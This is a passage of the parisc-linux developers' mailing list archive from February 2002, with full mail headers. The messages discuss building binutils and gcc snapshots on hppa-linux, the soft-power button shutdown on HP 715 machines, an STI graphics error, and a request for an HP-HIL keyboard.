	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1II3URO012248;
	Mon, 18 Feb 2002 13:03:30 -0500 (EST)
In-Reply-To: <OFB6528EDF.C6603F22-ONC1256B64.00615768@com> from "=?iso-8859-1?Q?Jo=EBl_Soete?=" at Feb 18, 2002 06:53:49 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14093

> PS: I would try natively (on my palinux box directly) with MACH=hppa-linux
> i.e.: ~/source/binutils/configure --host=hppa-linux ... ?

For binutils, I just use from my build directory:

../src/configure --prefix=/where_to_install --host=hppa-linux --disable-nls
make
make -k check
make install

Set CFLAGS if you want.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power LED
Date: Mon, 18 Feb 2002 20:29:13 +0100
Lines: 97
Approved: news@gmane.org
Message-ID: <16ctP2-1e3LMGC@fwd05.sul.t-online.com>
References: <20020218101505.54487.qmail@web21205.mail.yahoo.com> <E16cmI9-0000SL-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621081 3310 80.91.229.3 (22 Nov 2014 01:51:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:21 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 12:25:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 019BF482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 12:25:06 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 16ctPI-0008S2-0A; Mon, 18 Feb 2002 20:25:00 +0100
Original-Received: from there (320008472305-0001@[80.135.10.10]) by fwd05.sul.t-online.com
	with smtp id 16ctP2-1e3LMGC; Mon, 18 Feb 2002 20:24:44 +0100
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <E16cmI9-0000SL-00@linuxlab.wdf.sap-ag.de>
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14094

Am Montag, 18. Februar 2002 12:49 schrieben Sie:
> On Monday 18 February 2002 11:15, Hinrich Aue wrote:
> > ------------------------------------------
> >
> > >715/64, 715/80 and 715/100 belong to the so-called
> > >715/new machines and all of those support the
> >
> > soft-power
> >
> > >switch, else you wouldn't have received the
> > >"Shutdown requested..." message.
> > >In your case I assume, that your filesystems wasn't
> >
> > clean
> >
> > >before you did shutdown your system....
> > >
> > >BTW, the shutdown is initiated by the kernel by
> >
> > sending
> >
> > >a SIGINT to the PID (cad_pid) of the init process.
> >
> > This
> >
> > >is done in the file power.c:
> > >http://cvs.parisc-linux.org/linux/arch/parisc/kernel/power.c?rev=1.5&con
> > >te nt-type=text/vnd.viewcvs-markup After receiving this signal the init
> > > process switches
> > >the runlevel,
> > >shuts down your system cleanly and runs
> >
> > /sbin/poweroff
> >
> > >or /sbin/halt. This is already the case and is also
> > >done
> > >that way for ATX systems.
> > >
> > >Regards,
> > >Helge
> >
> > But if I push the power button, the init process
> > doesn't seem do change the runlevel, and power off
> > immediatly.
> > I can see the message "Shutdown requested..." and then
> > - power off -.
> > I think this souldn't be so.
>
> Yes, that's wrong. But you seem to be the only one
> who has such problems with 715/new. As I said in another

Why me?????
That's strange behavior.

> mail my Scorpio (715/50) machine shuts down immediately too -
> but this machine doesn't support the soft-power switch either.
> BTW, which kernel are you using ?

I use 2.4.17-pa26

>
> > Also I think it is a bit dangerous if everyone can
> > switch of the system, clean or unclean, just by
> > pushing the button.
>
> That's right, but that's also the behaviour on Non-ATX PC's.
>
> > Maybe a 5 second push-time would be good (like ATX)
> > but with a gracefull shutdown.
>
> That's not that easy.
> On some systems the switch will send a key-down signal from
> the first press on, independantly if you released the button again or
> not. Other machines just send the signal while the button
> is down and stops it again if it was released.
>
> That said, this is how I wrote the code.
> In process_shutdown() you'll find:
>        /* wait until the button was pressed for 1 second */
>         if (shutdown_timer == HZ) {
>                 static char msg[] = "Shutting down...";
> 	    printk(KERN_INFO "%s\n", msg);
>
> This means, that the kernel will just shutdown, if you pressed
> the button for at least 1 second. You might change that to 5*HZ if
> you want the 5 second push-time.
> But, as I said, the kernel can't recognize on some systems if
> you have released the button again and so it will always
> time-out and initiate the shutdown request. Your 715/80 seems
> to fall into this category of systems.
>
> Regards,
> Helge

Hinrich



From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is there some progress on the K-Series?
Date: Mon, 18 Feb 2002 16:44:22 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020218164023.00ac69a0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621081 3312 80.91.229.3 (22 Nov 2014 01:51:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 14:44:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CCF4482F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 14:44:56 -0700 (MST)
Original-Received: from old@istop.magma.ca (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with ESMTP id 244551702F
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 16:48:36 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14095

I can get temporary use of a K210 (it's huge - 5' high and got a big 
array!). I currently have a K460 in my "computer center" :) which when 
booted, panics royally! Now I really want boot capability to show this 
thing off!

Regards, Herb




From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Herb Radford <herbr@magma.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Just an added note!
Date: Mon, 18 Feb 2002 16:49:25 -0500
Lines: 9
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20020218164510.00ac9ec0@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621081 3316 80.91.229.3 (22 Nov 2014 01:51:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 14:49:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.istop.com (cpu1693.adsl.bellglobal.com [206.47.27.174])
	by dsl2.external.hp.com (Postfix) with ESMTP id 226754833
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 14:49:54 -0700 (MST)
Original-Received: from old@istop.magma.ca (herbr.istop.com [216.187.107.13])
	by ns.istop.com (Postfix) with ESMTP id 47A721702B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 16:53:39 -0500 (EST)
X-Sender: herbr@mail.magma.ca
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14096

Just wanted to congratulate everyone for a fantastic job on the port to 
PA-Risc! I've got 712/60, /80, /100, B180, C110, C200 (no X :(), D370 (as a 
Samba server) and now a 715/100XC running Linux!
This is super!!!

Regards, Herb




From - Thu Nov 08 21:21:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 22:47:51 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <15473.30343.730737.301690@gargle.gargle.HOWL>
References: <OF99BC0404.6646AF92-ONC1256B64.0050D0F6@com>
	<200202181641.g1IGf3hb011664@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621081 3319 80.91.229.3 (22 Nov 2014 01:51:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:21 +0000 (UTC)
Cc: jso@europay.com (=?iso-8859-1?Q?Jo=EBl_Soete?=),
	carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 14:50:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0253483B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 14:50:20 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id WAA23703;
	Mon, 18 Feb 2002 22:47:52 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g1ILlpn17132;
	Mon, 18 Feb 2002 22:47:51 +0100 (MET)
In-Reply-To: <200202181641.g1IGf3hb011664@hiauly1.hia.nrc.ca>
X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14097

John David Anglin writes:
> > Thanks for advise but I speek well about the new (annonced on
> > http://www.gnu.org/software/gcc/gcc.html: ...The next major release, GCC
> > 3.1,...) gcc release 3.1.
> 
> I am building 3.1 experimental regularly from the main gcc cvs source.
> I have built glibc with it.  You probably should get the cvs binutils
> because it contains a long branch related fix which will cause a seg
> fault early in the bootstrap.  You can avoid it by using "-O2" in
> stage1.  I have a couple of small fixes that need to go in regarding
> linking with milli and pthreads routines.  The gcc testsuite (expect)
> seems to trigger a parisc-linux bug which fills /var with page fault
> error mesages.

I just uploaded the gcc-snapshot_20020216 build to incoming (without
any extra patches). 

To use this snapshot, you should set the following environment
variables:

        LD_LIBRARY_PATH=/usr/lib/gcc-snapshot/lib:$LD_LIBRARY_PATH
        PATH=/usr/lib/gcc-snapshot/bin:$PATH

Unset these variables before building Debian packages destined for an
upload to ftp-master.debian.org.

The snapshot packages doesn't build automatically. I had to restart
the build due to bash problems (the same you saw as well).

	Matthias



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa-linux gcc-3.0.3:
Date: Mon, 18 Feb 2002 16:54:58 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200202182154.g1ILswsp013554@hiauly1.hia.nrc.ca>
References: <15473.30343.730737.301690@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621082 3579 80.91.229.3 (22 Nov 2014 01:51:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:22 +0000 (UTC)
Cc: jso@europay.com, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: doko@cs.tu-berlin.de (Matthias Klose)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 14:55:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 415DB4837
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 14:55:05 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g1ILsxFN013555;
	Mon, 18 Feb 2002 16:54:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g1ILswsp013554;
	Mon, 18 Feb 2002 16:54:58 -0500 (EST)
In-Reply-To: <15473.30343.730737.301690@gargle.gargle.HOWL> from "Matthias Klose" at Feb 18, 2002 10:47:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14098

> The snapshot packages doesn't build automatically. I had to restart
> the build due to bash problems (the same you saw as well).

The bash problem can be fixed by building bash with --without-bash-malloc.
Been running that way for more than a week and no more bash problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] STI errno 128
Date: Mon, 18 Feb 2002 23:43:52 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020218234352.A8033@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621082 3581 80.91.229.3 (22 Nov 2014 01:51:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 18 15:44:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951CAEE.dip.t-dialin.net [217.81.202.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 430604834
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Feb 2002 15:44:03 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g1IMhq008066
	for parisc-linux@lists.parisc-linux.org; Mon, 18 Feb 2002 23:43:52 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14099

Maybe some of the HP insiders could help me find out, why STI doesn't
work on my B2600/FXe. What I need to know is what a errno == 128 returned
from init_graph() means ? Anybody ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Hodel <drbrain@segment7.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP-HIL keyboard wanted
Date: Sat, 16 Feb 2002 22:19:16 -0800
Organization: Eric Conspiracy Secret Labs
Lines: 34
Approved: news@gmane.org
Message-ID: <20020217061916.GA23771@segment7.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="AhhlLboLdkugWU4S"
X-Trace: ger.gmane.org 1416621082 3583 80.91.229.3 (22 Nov 2014 01:51:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:22 +0000 (UTC)
To: undisclosed-recipients: ;
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 16 23:19:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from magnesium.net (toxic.magnesium.net [207.154.84.15])
	by dsl2.external.hp.com (Postfix) with SMTP id 46A82482D
	for <parisc-linux@lists.parisc-linux.org>; Sat, 16 Feb 2002 23:19:25 -0700 (MST)
Original-Received: (qmail 23996 invoked by uid 1100); 17 Feb 2002 06:19:16 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
X-Eric-Conspiracy: There is no conspiracy
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14100

--AhhlLboLdkugWU4S
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

I've found HP-HIL keyboards online for $45 apiece, but I'm not yet
willing to fork out that much money.  I was wondering if anybody had a
keyboard (and/or 3-button mouse) they would be willing to part with
for a smaller fee...

I'm not subscribed to the list, so please contact me off-list.

--=20
Eric Hodel - drbrain@segment7.net - http://segment7.net
All messages signed with fingerprint:
FEC2 57F1 D465 EB15 5D6E  7C11 332A 551C 796C 9F04


--AhhlLboLdkugWU4S
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE8b0tkMypVHHlsnwQRAlA/AJsG0L17AXdaYn+1wRtf9sb9sVX1OACgwfxM
3W33v4Ja6Ax7Lw+WwqHrcPA=
=5TDF
-----END PGP SIGNATURE-----

--AhhlLboLdkugWU4S--



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power LED
Date: Tue, 19 Feb 2002 09:50:57 +0100 (CET)
Lines: 25
Approved: news@gmane.org
Message-ID: <20020219085057.17411.qmail@web21206.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621083 3586 80.91.229.3 (22 Nov 2014 01:51:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 01:50:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21206.mail.yahoo.com (web21206.mail.yahoo.com [216.136.175.8])
	by dsl2.external.hp.com (Postfix) with SMTP id DA2E34838
	for <parisc-linux@lists.parisc-linux.org>; Tue, 19 Feb 2002 01:50:58 -0700 (MST)
Original-Received: from [192.69.234.26] by web21206.mail.yahoo.com via HTTP; Tue, 19 Feb 2002 09:50:57 CET
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14101

I use 2.4.17-pa26

I tried to increase push-time to 5*HZ.
But as you said, the machine doesn't seem to recognize
when I release the button. So the shutdown is
initiated correctly, but after 5 sec the machine shuts
down, ignoring whether the runlevel 6 is reached or
not.
BTW why does the halt command not shut down the
machine?
I heared it would work. :-<
Is it possible to change the bit 0 if CPU diagnose
register 25 by hand?






__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:21:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power LED
Date: Tue, 19 Feb 2002 12:11:01 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <200202191210.08123.deller@gmx.de>
References: <20020219085057.17411.qmail@web21206.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621083 3590 80.91.229.3 (22 Nov 2014 01:51:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:23 +0000 (UTC)
To: Hinrich Aue <hinrich_aue@yahoo.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 19 04:13:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
